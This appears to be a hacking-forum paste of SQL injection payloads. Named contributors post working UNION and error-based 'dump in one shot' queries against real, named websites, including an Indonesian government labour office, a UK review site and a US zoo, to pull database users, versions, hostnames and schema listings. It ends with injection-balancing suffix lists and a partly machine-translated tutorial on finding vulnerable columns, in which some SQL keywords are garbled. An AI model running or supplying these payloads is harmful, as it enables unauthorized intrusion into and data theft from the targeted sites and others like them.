  104. My Query # : http://disnakertrans.jatengprov.go.id/index.php/berita/lihat/?id=27'UNION SELECT 1,2,Concat(0x3c63656e7465723e3c696d67207372633d2768747470733a2f2f692e696d6775722e636f6d2f6a544e69514d722e6a706727206865696768743d27323025272077696474683d313025273e,0x3c62723e,0x496e6a6563742062792045784c696e6565,0x3c62723e,0x3c62723e,0x75736572203e3e3e20,user/**x**/(),0x3c62723e,0x6461746162617365203e3e3e20,database/**x**/(),0x3c62723e,0x76657273696f6e203e3e3e20,@@version,0x3c62723e,0x686f73746e616d65203e3e3e20,@@hostname,0x3c62723e,0x706f7274203e3e3e20,@@port,0x3c62723e,0x62617365646972203e3e3e20,@@basedir,0x3c62723e,0x64617461646972203e3e3e20,@@datadir,0x3c62723e,0x55554944203e3e3e20,UUID(),0x3c62723e),4,5,6,7,8,9,10,11--+
  105.  
  106. Kindol Query # : http://disnakertrans.jatengprov.go.id/index.php/profil/detail/?id=-25%27+UNION+SELECT+1,2,concat(0x496e6a6563746564204279202e2f4d722e4b696e646f4c3c62723e3c696d67207372633d22687474703a2f2f73696d706c652d6c6966652e63662f48432e706e67222077696474683d2232303022206865696768743d22323030223e,%27<br>%27,%27Version%20::%20%27,version(),%27<br>%27,%27Database%20::%20%27,database(),%27<br>%27,%27User%20::%20%27,user(),%27<br>%27,(select(@x)from(select(@x:=0x00),(select(0)From(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=CoNCaT(@x,%27<br>%27,table_name,%27::%27,column_name))))x)),4,5,6,7,8,9,10--+
  107.  
  108. Aknanta Query # : http://disnakertrans.jatengprov.go.id/index.php/profil/detail/?id=-24%27 Union Select 1,2,/*!50000Concat*/(0x3c63656e7465723e3c666f6e74207374796c653d22636f6c6f723a677265656e3b746578742d736861646f773a307078203170782035707820233030303b666f6e742d73697a653a33307078223e496e6a65637465642062792053616e613c2f666f6e743e3c62723e3c696d672077696474683d22323430707822206865696768743d22323430707822207372633d2268747470733a2f2f7062732e7477696d672e636f6d2f6d656469612f4444463572306d55514145456951492e6a7067223e,0x3c62723e,0x55534552202d3e ,USER(),0x3c62723e,0x4441544142415345202d3e ,DATABASE(),0x3c62723e,0x56455253494f4e202d3e,VERSION(),0x3c62723e,0x486f73746e616d65202d3e,@@HOSTNAME,0x3c62723e,0x506f7274202d3e,@@PORT,0x3c62723e,@@datadir,0x3c62723e,@@basedir,0x3c62723e,UUID(),0x3c62723e,(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=concat+(@x,0x3c62723e,table_name,0x203a3a20,column_name))))x)),4,5,6,7,8,9,10--%20-
  109.  
  110. Fredley Antonny Query # : http://disnakertrans.jatengprov.go.id/index.php/profil/detail/?id=51%27+and+false+union+select+1,2,concat/**_**/(%27<br>%27,%27<img%20src="https://edmli.com/wp-content/uploads/2018/04/620x310.jpg"%20height="300"%20width="200">%27,%27<br>%27,%27Injected%20by%20m337ight%27,%27</font>%27,%27<br>%27,%27Version%20::%20%27,version/**_**/(),%27</font>%27,%27<br>%27,%27Database%20::%20%27,database/**_**/(),%27</font>%27,%27<br>%27,%27Os%20::%20%27,@@version_compile_os,%27</font>%27,%27<br>%27,%27</font>%27,%27<br>%27,(select(@x)/*!50000from*/(/*!50000select*/(@x:=0x00),(select(0)/*!From*/(/*!50000information_schema.columns*/)/*!50000where*/(table_schema=database/**_**/())and(0x00)in(@x:=/*!50000coNcat*/%20(@x,0x3c62723e,/*!50000table_name*/,0x203a3a20,/*!50000column_name*/))))x)),4,5,6,7,8,9,10--%20-
  111.  
  112. Revan AR Query # : http://disnakertrans.jatengprov.go.id/index.php/profil/detail/?id=-22%27%20and%200%20+union+select%201,2,concat(%27<img%20src="https://i.pinimg.com/originals/b8/73/32/b873320cd1cbb0fa19b9d99f44532a17.png"%20height=200%20width=200%20/>%27,%27<br><font%20color="maroon"%20size=4>Injected%20by%20M1nic0de<br>%27,%27<font%20%20size=2>database%20::%20%27,database(),%27<br>user%20::%20%27,user(),%27<br>version%20::%20%27,version(),%27<br>hostname%20::%20%27,@@hostname,%27<br>UUID%20Key%20::%20%27,UUID(),%27<br>port%20::%20%27,@@port),4,5,6,7,8,9,10--+
  113.  
  114. Amir Hossan Rahel Query # :
  115. http://disnakertrans.jatengprov.go.id/index.php/profil/detail/?id=.24%27%20union%20select%201,2,concat(0x696e6a65637465642062792068756e74657220696e6a6563746f72,0x3c62723e,user(),0x3c62723e,version(),0x3c62723e,database(),0x3c62723e,@@datadir,0x3c62723e,@@port,0x3c62723e,uuid()),4,5,6,7,8,9,10--+
  116.  
  117. Erik Hutabarat Query # : http://disnakertrans.jatengprov.go.id/index.php/berita/lihat/?id=.3%27+union+select+1,2,3,concat(%27<h1>Handsomeware</h1>%27,0x3c696d67207372633d2268747470733a2f2f312e62702e626c6f6773706f742e636f6d2f2d314851736e794749476f732f56343364746961394755492f4141414141414141414d302f5f714136316f6b43424e73464270466433444461514a4135753748487a554a5f41434c63422f73313630302f37393736366531663961663732623066353737373163363233313664646339312e676966222f3e,user(),%27<br>%27,version(),%27<br>%27,database(),%27<br>%27,@@datadir,%27<br>%27,uuid(),@@hostname,%27<br>%27,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2))),5,6,7,8,9,10,11--+-
  118.  
  119. Pow Pow Query # : http://disnakertrans.jatengprov.go.id/index.php/profil/detail/?id=-24%27+union+all+select+1,2,Concat(%27%3Cimg%20src=%22http://www.makiya.sch.id/wp-content/uploads/2017/08/coiztrtteammmmmm.png%22%3E%27,%27%3Cbr%3E%27,%27%3Cfont%20color=%22black%22%3E%3Ci%3E%3Cb%3EInjected%20by%20Rev9%3C/b%3E%3C/i%3E%27,%27%3Cbr%3E%27,%27%3Cfont%20color=%22red%22%3EPort:%20%27,@@port,%27%3Cbr%3E%27,%27%3Cfont%20color=%22red%22%3EVersi:%20%27,Version(),%27%3Cbr%3E%27,%27%3Cfont%20color=%22red%22%3E%20Hostname%20:%20%27,/*!13337@@hostname*/,%27%3C/font%3E%27,%27%3Cbr%3E%27,%27%3Cfont%20color=%22red%22%3EDatabase:%20%27,Database(),%27%3Cbr%3E%27,%27%3Cfont%20color=%22red%22%3EUser:%20%27,User(),%27%3Cbr%3E%27,%27%3Cfont%20color=%22red%22%3EUUID:%20%27,UUID(),%27%3Cbr%3E%27,%27%3Cfont%20color=%22red%22%3ESymlink:%20%27,@@Global.have_symlink,%27%3Cbr%3E%27,%27%3Cfont%20color=%22lime%22%3E-----------------%27,@C:=0x00,If((Select+Count(*)+From+Information_Schema.Columns+Where+Table_Schema=Database()+And+@C:=Concat(@C,0x3c62723e,Table_Name,0x3a,Column_Name)),0x00,0x00),@c,0x3c2f466f6e743e,0x3c2f43656e7465723e),4,5,6,7,8,9,10--+
  120. www.finvent.com/details.php?id=-23'++OR+1+GROUP+BY+CONCAT_WS(0x3a,user(),FLOOR(RAND(0)*2))+HAVING+MIN(0)+OR+1--+-
  121.  
  122.  
  123. My query : https://allchecked.co.uk/reviews/leicestershire/asutton-roofing-ltd'AND+0+UNION+SELECT+1,2,concat(0x273c696d67207372633d68747470733a2f2f696d61676573352e616c706861636f646572732e636f6d2f3832312f7468756d622d3335302d3832313032342e706e67206865696768743d3135302077696474683d313530202f3e27,0x273c62723e27,0x273c623e27,0x273c666f6e7420666163653d22436f6d69632053616e73204d532220636f6c6f723d22626c7565222073697a653d343e3c693e496e6a6563746564206279202e2f6b336e74616e6731313c2f693e3c2f666f6e743e27,0x273c62723e27,0x273c623e27,0x27706f7274203a3a2027,@@port,0x273c62723e27,0x2775736572203a3a2027,user(),0x273c62723e27,0x276461746162617365203a3a2027,database(),0x273c62723e27,0x2776657273696f6e203a3a2027,version(),0x273c62723e27,0x27686f73746e616d65203a3a2027,@@hostname,0x273c62723e27,0x2762617365646972203a3a2027,@@basedir,0x273c62723e27,0x2764617461646972203a3a2027,@@datadir,0x273c62723e27,0x27746d7020646972203a3a2027,@@tmpdir,0x273c62723e27,0x2773796d6c696e6b203a3a2027,@@have_symlink,0x273c62723e27,0x2753534c203a3a2027,@@have_ssl,0x273c62723e27,0x2755554944203a3a2027,UUID(),0x273c62723e27,0x2773797374656d2075736572203a3a2027,system_user(),0x273c62723e27,0x2756657273696f6e20436f6d70696c65204f53203a3a2027,@@VERSION_COMPILE_OS,0x273c62723e27,0x27626f6f6c65616e2073796e746178203a3a2027,@@FT_BOOLEAN_SYNTAX),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28--+-
  124.  
  125. Aknanta : https://allchecked.co.uk/reviews/cardiff/pbr--windows'%20Union%20Select%201,2,concat(0x3c63656e7465723e3c666f6e74207374796c653d22636f6c6f723a677265656e3b746578742d736861646f773a307078203170782035707820233030303b666f6e742d73697a653a33307078223e496e6a65637465642062792053616e613c2f666f6e743e3c62723e3c696d672077696474683d22323430707822206865696768743d22323430707822207372633d2268747470733a2f2f7062732e7477696d672e636f6d2f6d656469612f4444463572306d55514145456951492e6a7067223e,0x3c62723e,0x55534552202d3e%20,USER(),0x3c62723e,0x4441544142415345202d3e%20,DATABASE(),0x3c62723e,0x56455253494f4e202d3e,VERSION(),0x3c62723e,0x486f73746e616d65202d3e,@@HOSTNAME,0x3c62723e,0x506f7274202d3e,@@PORT,0x3c62723e,(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=concat+(@x,0x3c62723e,table_name,0x203a3a20,column_name))))x)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28--%20-
  126.  
  127. Udje : https://allchecked.co.uk/reviews/nottinghamshire/-knb-kitchennbathrooms'%20UNION%20SELECT%201,2,Concat(0x3c63656e7465723e3c696d67207372633d2768747470733a2f2f696d6167652e6962622e636f2f6e78526d75792f69636f6e312e706e6727206865696768743d27313825272077696474683d313825273e,0x3c62723e3c666f6e7420636f6c6f723d233133304534363e3c68323e2f2a2120496e6a6563746564206279204d722e34723748753132202a2f3c2f68323e,@@version_compile_os,0x20,@@hostname,0x3a,uuid(),0x3a,@@port,0x20,@@version_compile_machine,0x3c62723e4d7953514c2056657273696f6e203a20,version(),0x3c62723e4461746162617365203a20,database(),0x3c62723e55736572203a20,user(),0x3c62723e),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28--%20-
  128.  
  129.  
  130. Dicky alveira : https://allchecked.co.uk/reviews/essex/info-at--mpercivalroofingcouk'%20UNION%20SELECT%201,2,CONCAT(0x3c696d67207372633d2268747470733a2f2f692e696d6775722e636f6d2f536855427633492e6a7067222077696474683d2231303022206865696768743d22313030223e,0x3c62723e,0x3c666f6e742073697a653d22352220636f6c6f723d22626c7565223e20496e6a6563746564204279205261796d6f6e64373c2f666f6e743e,0x3c62723e,0x3c62723e,@@hostname,0x3c62723e,@@version,0x3c62723e,@@basedir,0x3c62723e,user(),0x3c62723e,database(),0x3c62723e,@@HAVE_SYMLINK,0x3c62723e,@@datadir,0x3c62723e,@@port),4,5,6,7,8,9,10,11,12,13,24,15,16,17,18,19,20,21,22,23,24,25,26,27,28--%20-
  131.  
  132. Isoroku yamamoto : https://­allchecked.co.uk/­reviews/cornwall/­-allens-flat-roofing'­+UNION+SELECT%201,2,­concat('injected+by+sembot­','<br>',user(),'<br­>',database(),'<br>'­,@@hostname,'<br>',@­@have_symlink),4,5,6­,7,8,9,10,11,12,13,1­4,15,16,17,18,19,20,­21,22,23,24,25,26,27­,28--+-
  133.  
  134. Amir : https://­allchecked.co.uk/­reviews/angus/­tayside-.windows'%20u­nion%20select%201,2,­concat('injected%20by%20hu­nter%20injector',0x3­c62723e,version(),0x­3c62723e,user(),0x3c­62723e,database(),0x­3c62723e,@@hostname,­0x3c62723e,@@datadir­,0x3c62723e,@@PORT),­4,5,6,7,8,9,10,11,12­,13,14,15,16,17,18,1­9,20,21,22,23,24,25,­26,27,28--+
  135.  
  136.  
  137.  
  138. // Query SQLChall
  139.  
  140. Site : http://www.santaanazoo.org/
  141.  
  142. My Query # : http://www.santaanazoo.org/supportus.php?cat=999999.9'/*!/**/UNION/**/SELECT*/ 1,2,0x3c63656e7465723e496e6a6563742062792045784c696e65653c63656e7465723e,Concat(0x3c63656e7465723e3c696d67207372633d2768747470733a2f2f692e696d6775722e636f6d2f6a544e69514d722e6a706727206865696768743d2731323025272077696474683d363025273e,0x3c62723e,0x75736572203e3e3e20,user/**x**/(),0x3c62723e,0x6461746162617365203e3e3e20,database/**x**/(),0x3c62723e,0x76657273696f6e203e3e3e20,@@version,0x3c62723e,0x686f73746e616d65203e3e3e20,@@hostname,0x3c62723e,0x706f7274203e3e3e20,@@port,0x3c62723e,0x62617365646972203e3e3e20,@@basedir,0x3c62723e,0x64617461646972203e3e3e20,@@datadir,0x3c62723e,0x55554944203e3e3e20,UUID(),0x3c62723e),5--+
  143.  
  144. Erik Hutabarat Query # : http://www.santaanazoo.org/supportus.php?cat=membership_renewal%27+union+select+1,2,3,concat(%27<h1>Handsomeware</h1>%27,0x3c696d67207372633d2268747470733a2f2f312e62702e626c6f6773706f742e636f6d2f2d314851736e794749476f732f56343364746961394755492f4141414141414141414d302f5f714136316f6b43424e73464270466433444461514a4135753748487a554a5f41434c63422f73313630302f37393736366531663961663732623066353737373163363233313664646339312e676966222f3e,user(),0x3a,database(),0x3a,version(),%27<br>%27,@@hostname,@@port,%27<br>%27,@@basedir,0x3a,@@datadir,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2))),5,6,7,8,9,10,11--+-
  145.  
  146. Udje Query # : http://www.santaanazoo.org/supportus.php?details=74%27=70=70%20Union%20Select%201,2,Concat(0x3c63656e7465723e3c696d67207372633d2768747470733a2f2f696d6167652e6962622e636f2f6e78526d75792f69636f6e312e706e6727206865696768743d27313825272077696474683d313825273e,0x3c62723e3c666f6e7420636f6c6f723d233133304534363e3c68323e2f2a2120496e6a6563746564206279204d722e34723748753132202a2f3c2f68323e,0x3c62723e4d7953514c2056657273696f6e203a20,version(),0x3c62723e4461746162617365203a20,database/**x**/(),0x3c62723e55736572203a20,user(),0x3c62723e486f73746e616d65203a20,@@hostname,0x3c62723e506f7274203a20,@@port,0x3c62723e4f53203a20,@@version_compile_os,0x3c62723e55554944203a20,uuid(),0x3c62723e56657273696f6e203a20,@@version_compile_machine,0x3c62723e546d70446972203a20,@@tmpdir,0x3c62723e44617461446972203a20,@@datadir,0x3c62723e42617365446972203a20,@@basedir,0x3c62723e53796d6c696e6b203a20,@@Global.have_symlink,0x3c62723e53534c203a20,@@Global.have_ssl,0x3c62723e),4,5,6,7,8,9,10,11--%20-
  147.  
  148. Fredley Antony Query # : https://www.santaanazoo.org/supportus.php?cat=membership%27+and+false+union+select+1,2,concat(0x3c696d67207372633d2268747470733a2f2f65646d6c692e636f6d2f77702d636f6e74656e742f75706c6f6164732f323031382f30342f363230783331302e6a7067222f3e20,0x496e6a6563746564206279206d33333769676874,0x3c62723e4d7953514c2056657273696f6e203a3a20,version(),0x3c62723e43757272656e742055736572203a3a20,user(),0x3c62723e,(select(@)from(select(@:=0x00),(select(@)from(information_schema.columns)where(@)in(@:=concat(@,0x3C62723E,table_name,0x3a,column_name))))a)),4,5,6,7,8,9,10,11--%20-
  149.  
  150. Amir Hossan Rahel Query # : http://www.santaanazoo.org/supportus.php?details=.8%27%20union%20select%201,2,concat(0x696e6a65637465642062792068756e74657220696e6a6563746f72,0x3c62723e,user(),0x3c62723e,version(),0x3c62723e,database(),0x3c62723e,@@datadir,0x3c62723e,@@port,0x3c62723e,uuid(),0x3c62723e,make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)),4,5,6,7,8,9,10,11--+
  151.  
  152. Diky Alveira Query # : https://www.santaanazoo.org/supportus.php?cat=-corporateMembership%27%20UNION%20SELECT%201,2,3,/*!50000CONCAT*/(%27<br>%27,%27<font%20size="5"%20color="blue">%20Injected%20By%20Raymond7%27,%27</font>%27,%27<br><br>%27,%27<img%20src="https://i.imgur.com/ShUBv3I.jpg"%20height="230"%20width="230">%27,%27<br><br>%27,%27<font%20color="red">%20"%20Jika%20menyakitiku%20adalah%20jalan%20yang%20memang%20akan%20membuatmu%20bahagia,%20maka%20lakukanlah%20"%20%27,%27</font>%27,%27<br><br>%27,%27<font%20color="green">%20Version%20::%20%27,version/**_**/(),%27<br>%27,%27<font%20color="green">%20Port%20::%20%27,/*!13337@@port*/,%27</font>%27,%27<br>%27,%27<font%20color="green">%20Hostname%20::%20%27,/*!13337@@hostname*/,%27</font>%27,%27<br>%27,%27<font%20color="green">%20Database%20::%20%27,database/**_**/(),%27</font>%27,%27<br>%27,%27<font%20color="green">%20User%20::%20%27,user/**_**/(),%27</font>%27,%27<br>%27,%27<font%20color="green">%20GLOBAL%20SYMLINK%20::%20%27,/*!13337@@GLOBAL.have_symlink*/,%27<br>%27,%27<font%20color="green">%20DATA%20DIR%20::%20%27,/*!13337@@datadir*/,%27</font>%27,%27<br>%27,%27<font%20color="green">%20BASE%20DIR%20::%20%27,/*!13337@@basedir*/,%27</font>%27,%27<br>%27,%27<font%20color="green">%20TMP%20DIR%20::%20%27,/*!13337@@tmpdir*/,%27</font>%27,%27<br>%27,%27<font%20color="green">%20GLOBAL%20SSL%20::%20%27,/*!13337@@GLOBAL.have_ssl*/,%27</font>%27,%27<br>%27,%27<font%20color="green">%20SYSTEM%20UUID%20::%20%27,UUID(),%27</font>%27,%27<br>%27,%27<font%20color="green">%20Current%20Database%20::%20%27,schema(),%27</font>%27,%27<br>%27,%27<font%20color="green">%20COMPILE%20OS%20::%20%27,@@VERSION_COMPILE_OS,%27</font>%27,%27<br>%27,%27<font%20color="green">%20BOLLEAN%20SYNTAX%20::%20%27,@@FT_BOOLEAN_SYNTAX,%27</font>%27,%27<br>%27,(select(@x)/*!50000from*/(/*!50000select*/(@x:=0x00),(select(0)/*!From*/(/*!50000information_schema.columns*/)/*!50000where*/(table_schema=database/**_**/())and(0x00)in(@x:=/*!50000coNcat*/%20(@x,0x3c62723e,/*!50000table_name*/,0x203a3a20,/*!50000column_name*/))))x)),5--%20-
  153.  
  154.  
  155.  
  156. solution of my challenge
  157. me and master Revo Riwansyah query is same so i posting both of us query
  158.  
  159. https://www.massagetoday.com/mpacms/mt/article.php?id=-1463+union+select+1,2,3,4,5,6,7,8,9,10,concat('Injection by Hunter injector',0x3c62723e,user(),0x3c62723e,version(),0x3c62723e,database()),12,13,14,15,16,17,18,19,20,21,22,23,24/*
  160.  
  161. https://www.massagetoday.com/mpacms/mt/article.php?id=-1463+union+select+1,2,3,4,5,6,7,8,9,10,concat(%27Injection%20by%20R3V0%27,0x3c62723e,user(),0x3c62723e,version(),0x3c62723e,database()),12,13,14,15,16,17,18,19,20,21,22,23,24/*
  162.  
  163.  
  164. http://metrogroup.co.id/~pdwarchi/news.php?id=26' =75 =75 Union Select 1,2,3,Concat("Your_Name~<br>",(select variable_value from information_schema.session_variables where variable_name like 0x76657273696f6e)),5,6,7,8,9,10,11,12,13-- -
  165.  
  166. Version without text "version" :
  167. (select variable_value from information_schema.session_variables where variable_name like 0x76657273696f6e)
  168.  
  169. Happy Inject...
  170.  
  171. and x(point(0,0)),
  172. and mod(9,4)
  173.  
  174. query : http://www.microfinance.lk/member_profile.php?id=-1'+/*!50000UNION*/+/*!50000ALL*/+/*!50000SELECT*/+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,/*!50000concat*/('<img src="https://res.cloudinary.com/teepublic/image/private/s--_x0vkCVL--/t_Preview/b_rgb:191919,c_limit,f_auto,h_313,q_90,w_313/v1525736660/production/designs/2664250_0" height="300" </img>','<br>','INJECTED BY RESIS-07','<br>',user(),'<br>',@@version,'<br>',@@hostname,'<br>',database()),19,20,21,22--+-
  175.  
  176.  
  177. Balancing Code
  178. integer based ::
  179.  
  180. --
  181. -- -
  182. --+-
  183. )--
  184. )-- -
  185. )--+-
  186. ))--
  187. ))-- -
  188. ))--+-
  189. ;%00
  190. ) ;%00
  191. ));%00
  192. %23
  193. %60
  194. %90
  195. and 1=1
  196. and '1'='1
  197. and (1)=(1
  198. php?id=(1) -- -
  199.  
  200. string based ::
  201.  
  202. '--+-
  203. ')-- -
  204. ')--+-
  205. '))-- -
  206. '))--+-
  207. ';%00
  208. ');%00
  209. '));%00
  210. '%23
  211. '%60
  212. '%90
  213. ' and 1=1
  214. ' and '1'='1
  215. ' and (1)=(1
  216. php?id=(1') -- -
  217.  
  218. string based double quotes ::
  219.  
  220. "-- -
  221. "--+-
  222. "%23
  223. ")-- -
  224. ")--+-
  225. "))--+-
  226. ";%00
  227. ") ;%00
  228. "));%00
  229. "%60
  230. "%90
  231. " and 1=1
  232. " and '1'='1
  233. " and (1)=(1
  234. php?id=(1") -- -
  235.  
  236. VGVydXMgbWF1bnlhIGFwYT8gQUJHIEJ1Z2lsIQ==
  237. Thanks to : Dimas Fakonntl
  238.  
  239. Bagaimana menemukan Kolom yang Rentan? 25 25 25
  240. ANS: -
  241. Teknik 1: -
  242. gunakan -> id = -1 union pilih 1,2,3,4,5--
  243. use -> id = 1111/9999 / null / bybysql union pilih 1,2,3,4,5--
  244. use -> id = .1 / 1.2 / 12.4 union pilih 1,2,3,4,5--
  245.  
  246. Catatan: - Saya menggunakan null dan bybysql. Tidak bingung dengan mereka, kamu bisa menggunakan watever u like means menggunakan data yang tidak ada [Thanks to Hack Forum]
  247.  
  248. Teknik ke-2: - Parameter Salah
  249. Di sini Parameter Salah berarti meletakkan sesuatu yang membuat respons yang salah ke dalam PARAMETER SQL kami
  250. (a) 1 = 2, 1 = 0
  251. use -> id = 1 atau 1 = 2 union pilih 1,2,3,4,5--
  252. use -> id = 1 atau 1 = 0 union pilih 1,2,3,4,5--
  253.  
  254. (B) Juga dapat kita gunakan memiliki, seperti, <>
  255. gunakan -> id = 1 memiliki / HAVING 1 = 2 union pilih 1,2,3,4,5--
  256. gunakan -> id = 1 1 suka / LIKE 2 union pilih 1,2,3,4,5--
  257. use -> id = 1 1 <> 1 union pilih 1,2,3,4,5--
  258. use -> id = 1 {having / and} 1 like 2 union pilih 1,2,3,4,5--
  259. use -> id = 1 {having / and} 1 <> 1 union pilih 1,2,3,4,5-- / * gunakan apakah memiliki atau dan
  260.  
  261. Juga Anda dapat menggunakan dan pernyataan palsu / DAN SALAH
  262. gunakan -> id = 1 dan false union pilih 1,2,3,4,5--
  263.  
  264. Teknik ke-3: - Bagi dengan 0 berarti -> / 0 dan + div + 0
  265. use -> id = 12/0 union pilih 1,2,3,4,5--
  266.  
  267. gunakan -> id = 12 + div + 0 + union pilih 1,2,3,4,5--
  268.  
  269. Teknik ke-4: - Perhatikan dengan seksama, atau gores kode sumber HTML
  270.  
  271. Jumlahnya dapat ditampilkan di mana saja, ketika agak kasar, cukup ubah kueri untuk membuat semuanya lebih terlihat seperti sesuatu
  272.  
  273. http://somesite.net/b.php?id=12/0 union pilih 1111,2222,3333,4444,5555--
  274.  
  275. Di atas kita menggunakan 1111, 2222 bukannya 1,2 masing-masing
  276.  
  277. Setelah menulis kode kode sumber terbuka, cari 'Nomor Kolom' seperti 1111,2222,3333,4444,5555 dengan menggunakan (CTRL + F: - Untuk menemukan sesuatu dalam kode sumber) Kemudian periksa di mana nomor dat muncul dalam kode sumber
  278.  
  279. Terkadang nomor ditampilkan pada judul halaman.
  280.  
  281. Ketika Anda mendapatkan kolom yang rentan maka Anda ingin menampilkan versi, pengguna, basis data atau beberapa bagian html untuk dapat dilihat di halaman. Jadi, 4 langkah. Ikuti Langkah-langkah ini: -
  282.  
  283. i.) id = -1 union pilih 1111,2222, concat (0x223e, @@ version, 0x3c696d67207372633d22), 4444--
  284. Dimana
  285. 223e => ">
  286. 3c696d67207372633d22 => <img src = "
  287. * Ingat kita menggunakan 0x sehingga dat diatas kode hex berfungsi
  288.  
  289. ii.) 4 cetak nama kami
  290. id = -1 union pilih 1111,2222, concat (0x5c223e3c666f6e7420636f6c6f72203d207265642073697a653d343e41414b4153483c2f666f6e743e3c212d2d), 4444--
  291. Dimana
  292. 0x5c223e3c666f6e7420636f6c6f72203d207265642073697a653d343e41414b4153483c2f666f6e743e3c212d2d => \ "> <font color = red size = 4> AAKASH </ font> <! -
  293.  
  294. Teknik ke-5: -
  295. U mencoba semua teknik di atas tetapi stille tidak bisa mendapatkan kolom rentan maka u juga dapat menggunakan teknik kelima ini .... Wats baru dalam teknik ini Lihat: -
  296.  
  297. Anda dapat menggunakan serikat pilih 1,2,3,4,5-- sebagai serikat (pilih 1,2,3,4,5) -
  298. gunakan: - id = -2 union (pilih 1,2,3,4,5) -
  299. / * Jika Anda melihat vul col seperti 3 kemudian
  300.  
  301. gunakan: - id = -2 union (pilih 1,2,333 (4 cek) / @@ versi, 4,5) -
  302.  
  303. Teknik 6: - Parameter Benar
  304.  
  305. gunakan -> id = 1 + di mana + 1 = 1 union pilih 1,2,3,4,5--
  306. use -> id = 1 + dan + 50 = 50 union pilih 1,2,3,4,5--
  307. use -> id = 1 = 75 = 75 union pilih 1,2,3,4,5--
  308.  
  309. Teknik 7: - Brute memaksa kolom / * Terima kasih kepada Master saya Devilhunter Dante
  310. Frnds ketika Anda tidak dapat menemukan jumlah kolom maka Anda juga dapat menggunakan teknik ini. Dengan teknik ini tidak hanya Anda menemukan sejumlah kolom, Anda juga mendapatkan kolom yang rentan.
  311. Ikuti langkah-langkah berikut
  312. 1st do -> union pilih 1--
  313. 2nd do -> union pilih 1,2--
  314. 3rd do -> union pilih 1,2,3--
  315. 4th do -> union slect 1,2,3,4--
  316. 5th do -> union pilih 1,2,3,4,5--
  317.  
  318. © AKDK
  319.  
  320. ~ h
  321.  
  322.  
  323.  
  324. Error Based Dump In One Shot (DIOS) - Oleh Ph.h4rh4r
  325.  
  326. Kami Telah Mendiskusikan di Tutorial Kami Sebelumnya Tentang Injeksi SQL Berbasis Kesalahan.
  327. Dalam Tutorial Ini Anda Akan Mempelajari Cara Membangun Error Based Dump In Shot (DIOS).
  328. Seperti yang Kita Ketahui Bahwa dalam Error Based Query, Kami Memberikan Perintah Kami Ke server dan Memberikan Kami menghasilkan kesalahan.
  329.  
  330. Jika Kami Ingin Mendapatkan versi () maka kami Berikan Permintaan Seperti ini.
  331.  
  332. http://www.FakeSite.com/news.php?id=11 atau 1 grup oleh concat_ws (0x3a, versi (), lantai (rand (0) * 2)) memiliki min (0) atau 1-- -
  333.  
  334. kami mendapatkan versi tercetak di halaman. versi = 5.5.42-cll
  335.  
  336. Sekarang Mari kita dapatkan nama Database Primer.
  337. http://www.FakeSite.com/news.php?id=11 dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (cast (database () sebagai char), 0x7e)) dari information_schema.tables di mana table_schema = database () limit 0,1), floor (rand (0) * 2)) x dari grup information_schema.tables dengan x) a) - -
  338. dan Ini Database Primer kami.
  339.  
  340. ini nama Database Primer "kkbaketo_wordpress" jadi ini adalah nama Database Primer kami. jika kita ingin mendapatkan yang lain kita biasanya Meningkatkan LIMIT 0,1 hingga LIMIT 1,1
  341.  
  342. Tetapi kita juga bisa mendapatkan semua Database tanpa menggunakan LIMIT.
  343. Inilah SYNTAX untuk Mendapatkan Semua Database.
  344.  
  345. (SELECT! X- ~ 0.FROM (SELECT (concat (0x3a3a3a, (pilih group_concat (schema_name) dari information_schema.schemata))) x) a)
  346.  
  347. Sekarang Tambahkan SYNTAX ini untuk Dapatkan semua Databasis.
  348.  
  349. http://www.FakeSite.com/news.php?id=(SELECT!x-~0.FROM(SELECT(concat(0x3a3a3a,(select group_concat (schema_name) dari information_schema.schemata))) x) a) - - -
  350.  
  351. dan ini Database kami.
  352.  
  353. information_schema, kkbaketo_wordpress
  354.  
  355. Langkah selanjutnya adalah Dapatkan The Tables.
  356. Inilah contohnya.
  357. http://www.FakeSite.com/news.php?id=11 atau 1 grup oleh concat_ws (0x7e, (pilih table_name dari information_schema.tables di mana table_schema = database () limit 0,1), floor (rand (0) * 2)) memiliki min (0) atau 1-- -
  358. dan kami Dapatkan Nama tabel di bawah Respons kesalahan ::
  359.  
  360. Kami Hanya MENDAPATKAN satu Nama TABEL. kkbaketop_category
  361.  
  362. Ini adalah nama Tabel Pertama Kami. Kita Dapat Mendapat Satu Selanjutnya dan Yang Lain dengan Meningkatkan Nilai LIMIT 0,1 hingga LIMIT 2,1 LIMIT 3,1
  363. Kami Meningkatkan BATAS untuk Tabel.
  364. LIMIT 0,1 untuk tabel 1.
  365. LIMIT 1,1 untuk tabel ke-2.
  366. Seperti yang Kita Ketahui bahwa kita Dapat DUMP Semua Tabel dan Kolom Dalam injeksi BERBASIS UNION.
  367. dalam ERROR BASED Dump dalam satu Shot (DIOS) kita tidak dapat Dump All Tables / Columns seperti UNION BASED Injection.
  368. Tapi Kita Bisa Dapatkan Beberapa Tabel / Kolom dari Basis Data dengan MEMBANGUN Kueri kami.
  369.  
  370.  
  371. Berikut ini adalah SYNTAX Kami untuk Tabel.
  372.  
  373. (pilih group_concat (table_name) dari information_schema.tables di mana table_schema = database ())
  374.  
  375. Sekarang tambahkan SYNTAX ini di DIOS Query kami.
  376.  
  377. (SELECT! X- ~ 0 ./*! 50000FROM * / (/ *! 50000SELECT * / (/ *! 50000concat_ws * / (0x3a3a3a, (pilih group_concat (table_name) dari information_schema.tables di mana table_schema = database ()))) x) a)
  378.  
  379.  
  380. DIOS Query kami Siap untuk Tabel.
  381.  
